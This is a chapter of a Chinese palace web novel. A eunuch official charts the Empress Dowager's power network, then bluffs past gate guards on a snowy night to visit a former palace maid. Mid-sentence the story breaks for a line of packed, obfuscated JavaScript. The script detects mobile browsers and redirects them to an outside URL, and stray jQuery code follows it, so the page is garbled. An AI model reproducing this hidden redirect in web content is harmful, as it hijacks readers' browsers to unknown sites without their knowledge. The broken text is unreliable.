雪,下个没完没了。
从午后开始,起初是细碎的盐粒,敲在乾元殿的琉璃瓦上沙沙作响,到了黄昏,便成了鹅毛般的絮团落下,一层又一层,将巍峨的宫城渐渐涂抹成一片混沌的素白。
天色早早暗沉下来,廊下的宫灯次第点亮,在漫天飞雪中晕开一团团朦胧昏黄的光晕,未能驱散寒意,反倒更衬出这宫宇的寂寥。
内缉事厂的值房内,炭火毕剥。
关禧刚沐浴过,换了一身深青色家常棉袍,头发用一根简单的乌木簪子松松挽着,几缕微湿的发丝贴在颈侧。他坐在书案后,面前摊开是一张他自己绘制的密密麻麻标注了许多符号与简注的皇城布局草图,旁边还摞着几本厚厚的簿册,那是何璋带人初步整理出的关于各衙门人事,职司,历年惯例,还有些不成文规矩的摘要。
他的目光落在那张草图上,手指在永寿宫,司礼监,玉芙宫,坤宁宫几个节点之间移动。
内缉事厂设立不过旬月,架子是搭起来了,人手在血腥的立威和周如意的倒台中暂时被震慑住,也开始执行着观察与记录的指令。
光禄寺采办禽畜肉食的源头与价格浮动,司设监修缮宫灯帷幔的用工用料明细,御用监打造新年赏赐器物的匠人派系与进度,内市几个大皇商背后的靠山关系……零零碎碎的信息,汇集到档房,经过何璋粗筛,再送到他面前。
看得越多,拼图就越清晰,心也越沉。
表面看,二十四衙门各司其职,规矩森严。可水面之下,几乎每一道重要的利益链条,每一个关键的人事节点,最终都隐约指向同一个方向。
永寿宫。
司礼监自不必说,马正明虽是掌印,但几个要害位置的秉笔随堂,要么是太后早年提拔,要么家眷族人与郑氏一系有着千丝万缕的联系。内官监掌营造采买,几个肥缺上的管事,不是太后母族郑家的远亲,就是曾得力于永寿宫嬷嬷的举荐。就连看似清贵,掌管宫中教化文书的内书堂,几位教习太监的背景也与永寿宫脱不开干系。
前朝呢?那些经由司礼监递到御前的官员考绩评语,那些在年节赏赐名单上格外突出的名字,那些在流言风波中悄然维护徐昭容或是指桑骂槐的奏章背后……似乎也总能看到太后那只无形的手在轻轻拨动。
而后宫,更是一幅清晰的图谱。
皇后柳氏,出身清流世家,与太后母族武将背景并非一路,但中宫无子,地位微妙,多年来对永寿宫恭敬有加,与其说是依附,不如说是一种寻求庇护的谨慎。许多涉及后宫用度,人事的条陈,皇后往往需请示太后懿旨。
玉芙宫徐昭容,如今风头最盛,怀有龙嗣,其家族是太后一手提拔的新贵,父亲徐阶在吏部位置关键,兄长为她打点宫外事务,与永寿宫的走动频繁到几乎不加掩饰。她是太后如今在后宫最锋利也最张扬的一把刀。
其他嫔妃,或家世不显,或恩宠平平,大多选择明哲保身,对永寿宫的动向敏感顺从。
除了……承华宫,冯媛。
关禧的手指在“承华宫”三个字上停住。
冯家清贵,不涉党争,冯媛本人协理宫务,看似拥有实权,却始终将自己放在一个微妙的位置。她与徐昭容不睦,但从未正面冲突;对皇后恭敬,却也不过分亲近;对永寿宫保持着应有的礼数,却也未见特别的热络。她像是精心计算着每一步,在各方势力的夹缝中,为自己辟出一块不大却稳固的领地。她提拔了他,却也早早将他作为棋子送出,划清了界限。
冯媛,或许是这后宫里,少数几个并未完全被太后纳入掌中,甚至可能心存他念的女人。
那么……楚玉呢?
思绪到这里,像是被一根无形的丝线牵动,不受控制地飘向了那个沉静如古井的身影。
楚玉。
这个名字掠过心头时,关禧握着茶杯的手指收紧了。
他突然……很想见她。
不是出于算计,不是需要情报,甚至不是想确认什么。就是一种毫无缘由的冲动,想看看她。看看那双总是平静无波的眼睛,看看那张甚少流露情绪的脸,哪怕只是远远一眼,或许也能填补此刻心头莫名泛起对着满纸冰冷势力图生出的那点孤清。
这念头来得突兀汹涌,让他自己都怔了一下。
他蹙起眉,试图将这不合时宜的软弱情绪压下去。他是内缉事厂的提督太监,是皇帝手中见不得光的刀,他有什么资格,又有什么必要,在这样一个大雪纷飞的深夜,去惦念一个早已划清界限的旧宫人?
可是……想见她的渴望,像这窗外愈下愈急的雪,纷纷扬扬,盖过了理智的劝阻。
以他现在的身份,夜晚能进后宫吗?
规矩上,后宫夜间下钥,严禁外男无故出入。但他如今是内官监掌印,提督内缉事厂,若有紧急公务或奉特旨稽查,是可以通融的。守门的侍卫太监……看到他的腰牌和这身气势,多半也不敢硬拦。
风险自然有。深夜擅入后宫,尤其去的是冯昭仪的承华宫,若被有心人拿住做文章,又是麻烦。但他此刻,竟有些顾不得了。
说干就干。
关禧放下茶杯,起身。他走到衣架前,选了一件玄色暗纹的厚绒披风,戴上兜帽,遮住了大半面容。腰间,那柄绣春刀悬着,刀柄的红色流苏隐在披风褶皱里。
“双喜。”
守在门外打盹的双喜一个激灵醒来,连忙推门进来:“督主?”
“去叫贵平,再点一个机警稳重的番子,要嘴紧的。备灯,随我出去一趟。”
“这么晚了,督主您这是要去?”双喜看着外面漆黑的雪夜,有些迟疑。
“公务。”
双喜不敢再问,应了声“是”,快步退出去安排。
不多时,贵平和另一个叫刘栓的番子被叫了来。刘栓二十出头,原在御马监当差,手脚麻利,人看起来也稳重,是关禧近来比较看好,隐隐有提拔之意的一个。两人都换上了深青色的厂役常服,外罩挡雪的油衣,腰佩绣春刀。贵平手里提着一盏六角玻璃气死风灯,灯罩擦得透亮,光线刻意调暗了些。
“走。”关禧拉低兜帽,率先走进了漫天风雪中。
三人穿行在宫道。雪下得正紧,扑打在脸上,冰冷刺骨。脚下积雪已没了脚踝,踩上去发出“咯吱咯吱”的闷响。贵平和刘栓一左一右跟在关禧身后半步,尽力为他挡去些侧面的风雪,手中的灯笼在雪幕中摇晃,照亮前方一小片模糊的路面。
沿途遇到两拨巡夜的侍卫,远远看见这三人行色匆匆,披甲佩刀的架势,尤其是为首那人即便裹在厚重披风里也透出的不凡气度,都识趣地停下脚步,垂首避让,待他们过去,才敢抬头望一眼那消失在雪夜中的背影,低声议论两句。
从乾元殿区域前往西六宫的承华宫,要穿过好几道宫门。越往里走,宫禁越森严,守门的太监侍卫品阶也越高。
到了通往西六宫的隆福门前,两名穿着灰蓝色棉甲,手持长戟的侍卫拦住了去路。门檐下挂着的气死风灯被风吹得晃动,光影在他们冻得发红的脸上明明灭灭。
“宫门下钥,何人夜行?”一名侍卫按着戟杆,沉声喝问,目光警惕地扫过关禧三人。
贵平上前一步,举起手中的灯笼,照亮了自己腰间的厂役腰牌,以及关禧抬起露出半截的玄色披风下那更为精美的内官监掌印太监腰牌。
“内缉事厂,提督关禧,奉旨稽查公务。”贵平的声音在风雪中有些抖,但努力维持着镇定。
“关禧?”那侍卫显然听过这个名字,脸色变了变,借着灯光仔细打量被兜帽遮住大半脸的关禧。虽然看不清全貌,但那挺直的鼻梁,紧抿的嘴唇,以及周身那股沉静中透着威压的气场,做不得假。何况,内缉事厂提督太监深夜出行,若非真有要务,谁敢冒充?
另一名侍卫比较老成,犹豫了一下,躬身道:“关提督,不是小的们不放行,只是后宫夜禁规矩森严,若无陛下或皇后娘娘特旨,或是司礼监、敬事房的明文手令,这……”
关禧抬起手,兜帽往后褪下少许,露出整张脸。灯光雪影交错,映亮了他的面容。肤色是久不见日光的冷白,被寒风一激,更添了几分玉质的剔透感。眉眼清晰如墨画,那双凤眼在昏暗光线下,瞳仁显得格外幽深,平静地看向守门侍卫,没有怒意,却有种无形的压力。
“本督奉的是密旨,查的是机密。你既要手令,可以。本督此刻便在此等候,你速去乾元殿孙得禄副总管处,或去司礼监马正明掌印处,取一道允许内缉事厂提督太监关禧今夜入后宫稽查的手令来。只是耽误了陛下交办的差事,这后果……”
他没有说下去。
两个侍卫额角冒了汗。去乾元殿或司礼监?这深更半夜,风雪交加,他们哪敢为了拦一个明显不好惹的提督太监去惊动那些大珰?更何况,若真是密旨,他们这一阻拦一禀报,走漏了风声,吃罪得起吗?
两人对视一眼,都在对方眼中看到了退缩。
那老成些的侍卫咬了咬牙,侧身让开,躬身道:“不敢耽误提督公务。提督请。”说着,示意同伴一起合力,推开了隆福门侧边一扇小门。
门轴发出“嘎吱”一声悠长的呻吟,在风雪夜里格外刺耳。
关禧不再多言,拉好兜帽,迈步跨过了那道门槛。贵平和刘栓紧随其后。
穿过隆福门,便算是正式进入了后宫范围。夜色更深,雪更大,宫殿的轮廓在漫天飞雪中显得模糊遥远,唯有少数几处宫殿还亮着零星的灯火。
承华宫位于西六宫偏北,不算最中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152458|192226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心,但殿宇规制不小。关禧对这里的路径很熟悉,即便在这样的大雪夜,他也能凭着记忆和远处宫殿的轮廓,准确地朝着那个方向走去。
越靠近承华宫,他的脚步越慢了些,心跳在寂静中显得愈发清晰。披风下的手指蜷缩,触及绣春刀冰凉的刀柄。
他来做什么?真的只是看一眼?
承华宫的宫门已然关闭,门前挂着两盏昏红的灯笼,在风雪中摇晃,将“承华宫”三个字映得忽明忽暗。值守的太监缩在门房檐下,抱着手臂跺脚,听到脚步声,警惕地抬头望来。
当看到风雪中行来的三人,尤其是为首那个即便看不清脸也气势慑人的身影时,值守太监吓了一跳,连忙跑下台阶,在雪地里躬身:“给、给公公请安!不知公公深夜驾临,有何贵干?”他认不出关禧,但看服色气度,绝非常人。
关禧停下脚步,这次他没有让贵平上前,自己开口道:“内官监掌印,关禧。有紧急公务,需面见冯昭仪娘娘,或……青黛姑娘。速去通传。”
他直接报出了冯昭仪和楚玉的名字。
值守太监听到“关禧”两个字,浑身一哆嗦,头埋得更低。关禧!那个新近崛起,手段狠厉,提督着令人闻风丧胆内缉事厂的关公公,他怎么会深夜来此?还要见青黛姑娘?
“这……关公公,夜深雪大,娘娘怕是已经歇下了……青黛姑娘她……”值守太监结结巴巴,不敢答应,又不敢拒绝。
“去通传。”关禧重复了一遍,语气平淡,却让那太监感到一阵寒意,比风雪更甚。
“是、是!奴才这就去!公公稍候!”值守太监不敢再犹豫,转身拍响了宫门,对着里面急切地低语起来。
宫门开了一条缝,里面的人听了通传,显然也惊呆了,片刻后,门缝扩大,一个身影匆匆向宫内跑去。
关禧就站在承华宫门前的雪地里,一动不动。雪花落在他玄色的披风上,很快积了薄薄一层,又顺着光滑的织物滑落。兜帽边缘的风毛沾了雪粒,在灯光下闪烁着细微的冷光。贵平和刘栓立在他身后,按在刀柄上的手,显示着他们的警惕。
时间在等待中被拉长。风雪呼啸,宫灯摇晃。
不知过了多久,也许只是一盏茶,也许更久。
承华宫深处,有了一点动静。不是正殿方向,而是侧边的回廊。一盏橘黄色的灯笼,在漫天皆白的雪幕中,像一粒温暖的萤火,缓缓飘来。
提灯的人,穿着一身素净的淡青色棉袍,外面罩着同色的厚缎比甲,头发简单地绾着,没有任何首饰。
是楚玉。
她走得不快,步伐却很稳,灯笼的光晕将她周身一圈飞舞的雪花映成金色,也照亮了她沉静的面容。她的脸在光晕里显得有些模糊,但关禧还是一眼就认出了那双眼睛,平静深邃,如他记忆中一样,仿佛再大的风雪,也无法在其中掀起波澜。
她走到宫门内,隔着那道门槛,停下了脚步。目光抬起,落在门外雪地中那个几乎与夜色融为一体的玄色身影上。
四目相对。
风雪在两人之间呼啸而过,卷起地上的雪沫。
楚玉的眼神,在最初的平静审视后,极细微地波动了一下,像是冰封的湖面被投入了一颗极小的石子,漾开涟漪,随即又恢复了无波。
关禧隔着风雪,看着她。她似乎清减了些,下巴的线条更尖了,脸色在灯笼暖光映照下,依然显得有些苍白。淡青色的衣袍在冬夜里显得单薄,但她站得笔直,像是感觉不到寒冷。
他想说点什么,却发觉喉头有些发紧。所有事先想好的公务借口,在此刻显得如此苍白可笑。
最终,是楚玉先开了口。她的声音穿过风雪,清晰平稳,听不出任何情绪:“关提督,深夜雪重,不知驾临承华宫,有何贵干?”
她称呼他“关提督”,用的是他如今最正式,也最显疏离的官衔。
关禧的心,像是被这称谓刺了一下。他吸了一口气,冰冷的空气涌入肺腑。
“路过。”他听到自己的声音响起,比他预想的更干涩些,“雪大,想起旧日曾在承华宫当差,顺道……来看看。”
这个理由,拙劣得连他自己都不信。
楚玉没有说话。
半晌,她侧身,让开了宫门内的通道,语气平淡:“提督若不嫌简陋,可进值房喝杯热茶,驱驱寒气。”
她没有邀请他进正殿或她的住处,只说是值房,一个介于公私之间的地方。
关禧抬步,迈过了那道门槛。
贵平和刘栓下意识想跟上,关禧抬手,止住了他们,“你们在此等候。”
“是。”两人躬身应道,退到宫门外的檐下阴影里,与承华宫原本的值守太监隔开一段距离,注视着风雪中那两盏摇晃的宫灯。